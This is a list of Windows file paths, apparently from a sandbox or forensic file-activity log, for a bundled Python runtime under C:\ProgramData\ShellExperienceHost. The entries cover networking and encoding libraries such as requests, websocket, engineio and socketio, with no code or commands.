        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ESCPROBER.CPYTHON-37.PYC.48172656
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CODINGSTATEMACHINE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CODINGSTATEMACHINE.CPYTHON-37.PYC.47126448
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCSM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\ESCSM.CPYTHON-37.PYC.45722624
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LATIN1PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LATIN1PROBER.CPYTHON-37.PYC.48172808
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCSGROUPPROBER.CPYTHON-37.PYC.45850824
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UTF8PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\UTF8PROBER.CPYTHON-37.PYC.45851280
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSSM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCSSM.CPYTHON-37.PYC.45868496
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SJISPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SJISPROBER.CPYTHON-37.PYC.45851584
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\MBCHARSETPROBER.CPYTHON-37.PYC.45851888
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARDISTRIBUTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CHARDISTRIBUTION.CPYTHON-37.PYC.47434288
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCTWFREQ.CPYTHON-37.PYC.45852496
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCKRFREQ.CPYTHON-37.PYC.45852800
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312FREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\GB2312FREQ.CPYTHON-37.PYC.45853104
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5FREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\BIG5FREQ.CPYTHON-37.PYC.45853408
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JISFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\JISFREQ.CPYTHON-37.PYC.47172752
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JPCNTX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\JPCNTX.CPYTHON-37.PYC.47170016
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCJPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCJPPROBER.CPYTHON-37.PYC.45853712
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\GB2312PROBER.CPYTHON-37.PYC.45853864
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCKRPROBER.CPYTHON-37.PYC.45854168
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CP949PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\CP949PROBER.CPYTHON-37.PYC.45854472
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\BIG5PROBER.CPYTHON-37.PYC.54972616
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\EUCTWPROBER.CPYTHON-37.PYC.54972920
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCSGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SBCSGROUPPROBER.CPYTHON-37.PYC.54973072
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\HEBREWPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\HEBREWPROBER.CPYTHON-37.PYC.54973224
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGBULGARIANMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGBULGARIANMODEL.CPYTHON-37.PYC.47127728
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\SBCHARSETPROBER.CPYTHON-37.PYC.54973376
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGGREEKMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGGREEKMODEL.CPYTHON-37.PYC.54973528
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGHEBREWMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGHEBREWMODEL.CPYTHON-37.PYC.54973680
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGRUSSIANMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGRUSSIANMODEL.CPYTHON-37.PYC.44983760
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTHAIMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGTHAIMODEL.CPYTHON-37.PYC.54973832
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTURKISHMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\LANGTURKISHMODEL.CPYTHON-37.PYC.47432368
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__PYCACHE__\VERSION.CPYTHON-37.PYC.45679648
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.54974136
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__VERSION__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\__VERSION__.CPYTHON-37.PYC.54974440
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\UTILS.CPYTHON-37.PYC.54966864
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\CERTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\CERTS.CPYTHON-37.PYC.55755808
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__PYCACHE__\__INIT__.CPYTHON-37.PYC.49775096
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__PYCACHE__\CORE.CPYTHON-37.PYC.55760480
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\_INTERNAL_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\_INTERNAL_UTILS.CPYTHON-37.PYC.47125808
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\COMPAT.CPYTHON-37.PYC.55804240
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COOKIES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\COOKIES.CPYTHON-37.PYC.56125568
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STRUCTURES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\STRUCTURES.CPYTHON-37.PYC.56126328
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CACERT.PEM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\PACKAGES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\PACKAGES.CPYTHON-37.PYC.56126632
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\__INIT__.CPYTHON-37.PYC.45011856
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\PACKAGE_DATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\PACKAGE_DATA.CPYTHON-37.PYC.56126936
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\CORE.CPYTHON-37.PYC.45012288
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\IDNADATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\IDNADATA.CPYTHON-37.PYC.45041248
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\INTRANGES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__PYCACHE__\INTRANGES.CPYTHON-37.PYC.45041536
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\MODELS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\MODELS.CPYTHON-37.PYC.45012432
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\HOOKS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\HOOKS.CPYTHON-37.PYC.45119936
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\AUTH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\AUTH.CPYTHON-37.PYC.45120656
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STATUS_CODES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\STATUS_CODES.CPYTHON-37.PYC.45142368
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\API.CPYTHON-37.PYC.45146160
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\SESSIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\SESSIONS.CPYTHON-37.PYC.45142672
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\ADAPTERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__PYCACHE__\ADAPTERS.CPYTHON-37.PYC.45143888
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\SOCKS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__PYCACHE__\SOCKS.CPYTHON-37.PYC.45144192
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\__INIT__.CPYTHON-37.PYC.45144344
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_ABNF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_ABNF.CPYTHON-37.PYC.49238496
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_EXCEPTIONS.CPYTHON-37.PYC.45144648
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_UTILS.CPYTHON-37.PYC.45144952
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_APP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_APP.CPYTHON-37.PYC.49220752
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_CORE.CPYTHON-37.PYC.49384016
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HANDSHAKE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_HANDSHAKE.CPYTHON-37.PYC.49366560
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_COOKIEJAR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_COOKIEJAR.CPYTHON-37.PYC.49366712
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HTTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_HTTP.CPYTHON-37.PYC.47643504
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_LOGGING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_LOGGING.CPYTHON-37.PYC.49367320
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_SOCKET.CPYTHON-37.PYC.49367624
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SSL_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_SSL_COMPAT.CPYTHON-37.PYC.49367928
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_URL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__PYCACHE__\_URL.CPYTHON-37.PYC.47398752
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.49368384
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PACKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\PACKET.CPYTHON-37.PYC.49279024
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PAYLOAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\PAYLOAD.CPYTHON-37.PYC.49368840
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\MIDDLEWARE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\MIDDLEWARE.CPYTHON-37.PYC.48849096
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\STATIC_FILES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\STATIC_FILES.CPYTHON-37.PYC.48849248
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\SERVER.CPYTHON-37.PYC.48735552
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\SOCKET.CPYTHON-37.PYC.48792752
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_SERVER.CPYTHON-37.PYC.48850464
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ASYNCIO.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_OVERLAPPED.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_SOCKET.CPYTHON-37.PYC.49568632
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__PYCACHE__\ASYNCIO_CLIENT.CPYTHON-37.PYC.49569088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\__INIT__.CPYTHON-37.PYC.48571536
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\ASGI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\ASGI.CPYTHON-37.PYC.48571376
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\TORNADO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__PYCACHE__\TORNADO.CPYTHON-37.PYC.48574096
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.55169528
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\NAMESPACE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\NAMESPACE.CPYTHON-37.PYC.55169832
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PACKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\PACKET.CPYTHON-37.PYC.55243520
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\BASE_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\BASE_MANAGER.CPYTHON-37.PYC.55170288
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PUBSUB_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\PUBSUB_MANAGER.CPYTHON-37.PYC.55170744
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KOMBU_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\KOMBU_MANAGER.CPYTHON-37.PYC.55171960
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\REDIS_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\REDIS_MANAGER.CPYTHON-37.PYC.55172112
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KAFKA_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\KAFKA_MANAGER.CPYTHON-37.PYC.55172264
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ZMQ_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ZMQ_MANAGER.CPYTHON-37.PYC.55172416
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\SERVER.CPYTHON-37.PYC.56921088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\MIDDLEWARE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\MIDDLEWARE.CPYTHON-37.PYC.55172872
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\TORNADO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\TORNADO.CPYTHON-37.PYC.57012424
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_CLIENT.CPYTHON-37.PYC.57012728
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_SERVER.CPYTHON-37.PYC.57013032
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_MANAGER.CPYTHON-37.PYC.47434768
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_NAMESPACE.PY
